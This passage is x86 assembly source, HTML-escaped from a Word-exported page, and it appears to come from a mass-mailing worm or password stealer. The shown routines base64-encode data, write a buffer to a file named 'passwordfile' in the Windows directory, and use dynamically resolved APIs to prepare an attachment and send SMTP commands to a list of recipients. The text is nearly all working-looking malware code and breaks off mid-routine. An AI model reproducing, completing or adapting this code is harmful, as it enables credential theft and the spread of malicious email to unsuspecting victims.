AddOneByte&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ecx, 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jmp EncodeBase64&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AddOneByte:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add ecx, 01h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;EncodeBase64:&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor esi, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea edi, [ebp + encTable]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ebp, ebp&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;BaseLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ebx, ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov bl, byte ptr [eax]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;shr bl, 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;and bl, 00111111b&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov bh, byte ptr [edi+ebx]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov byte ptr [edx+esi], bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov bx, word ptr [eax]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xchg bl, bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;shr bx, 4&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor bh, bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;and bl, 00111111b&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov bh, byte ptr [edi+ebx]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov byte ptr [edx+esi], bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov bx,word ptr [eax]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xchg bl, bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;shr bx, 6&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor bh, bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;and bl, 00111111b&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov bh, byte ptr [edi+ebx]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov byte ptr [edx+esi], bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;xor ebx, ebx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov bl, byte ptr [eax]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;and bl, 00111111b&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov bh, byte ptr [edi+ebx]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov byte ptr [edx+esi], bh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;inc esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;inc eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;cmp ebp, 24&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;ja AddEndOfLine&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;inc ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AddedEndOfLine:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;sub ecx, 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jnz BaseLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov word ptr [edx+esi], 0a0dh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;add esi, 2&lt;span style=""&gt;     &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov ecx, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AddEndOfLine:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ebp, ebp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;mov word ptr [edx+esi], 0a0dh&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;add esi, 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;jmp AddedEndOfLine&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;BASE64_ENCODER endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;=======================[ ic-ws_write_to_file.inc ]=========================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WRITE_TO_FILE proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;StoreBuffer:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetEmailDropDir:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SET_WINDIR&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CreateEmailDrop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; template handle=0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 20h&lt;span style=""&gt;                                      &lt;/span&gt;; attributes=any file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 04h&lt;span style=""&gt;                                      &lt;/span&gt;; type= existing file&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;span style=""&gt;                                        &lt;/span&gt;; security option = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 1&lt;span style=""&gt;                                        &lt;/span&gt;; shared for read&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 80000000h or 40000000h&lt;span style=""&gt;                   &lt;/span&gt;; generic read write&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + passwordfile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;span style=""&gt;                                      &lt;/span&gt;; offset file name&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACreateFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;span style=""&gt;    &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + filehandle], eax&lt;span style=""&gt;                   &lt;/span&gt;; save file handle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, -1&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je BufferError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SetDropPointer:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 2&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;span style=""&gt;             &lt;/span&gt;; filehandle&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ASetFilePointer]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;WriteBuffer:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 0h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + writtenbytes]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;span style=""&gt;                                      &lt;/span&gt;; push buffersize&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push esi&lt;span style=""&gt;                                      &lt;/span&gt;; push offset buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AWriteFile]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;CloseBufferFile:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push dword ptr [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + ACloseHandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;BufferError:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;ret&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;WRITE_TO_FILE endp&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;;============================[ ic-send_mail.inc ]============================;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;SEND_MAIL proc&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;GetAllApiAddresses:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GET_WSOCK32_BASE_ADDRESS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt; &lt;span style=""&gt;       &lt;/span&gt;call GET_USER32_BASE_ADDRESS&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call PREPARE_ATTACHMENT&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;   &lt;/span&gt;mov eax, [ebp + filehandle]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp eax, -1&lt;span style=""&gt;                                   &lt;/span&gt;; attachment error&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;je SendError&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;AllocateEmailBufferMemory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + encodedsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 02h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + AGlobalAlloc]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call GETAPI&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;or eax, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jz SendError&lt;span style=""&gt;                                  &lt;/span&gt;; mem for email&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + email_buffer_address], eax&lt;span style=""&gt;         &lt;/span&gt;; buffer&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SendMailFromTag:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, dword ptr [ebp + fromaddress]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, dword ptr [ebp + fromsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendCommand&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call ReceiveReply&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SendRcptToTags:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;xor ecx, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + totalrcptsize], 00h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;               &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;RcptSendLoop:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;push ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edi, [ebp + rcpt_size_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov edx, 04h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mul edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add edi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, dword ptr [edi]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov esi, [ebp + rcpt_buffer_address]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + totalrcptsize]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add esi, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pushad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendCommand&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call ReceiveReply&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;popad&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;add eax, ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov [ebp + totalrcptsize], eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;pop ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;inc ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov eax, [ebp + rcptnumber]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;cmp ecx, eax&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;jne RcptSendLoop&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;    &lt;/span&gt;SendDataCommand:&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;lea eax, [ebp + datatag]&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;mov ecx, 06h&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call SendCommand&lt;o:p&gt;&lt;/o:p&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=""&gt;        &lt;/span&gt;call 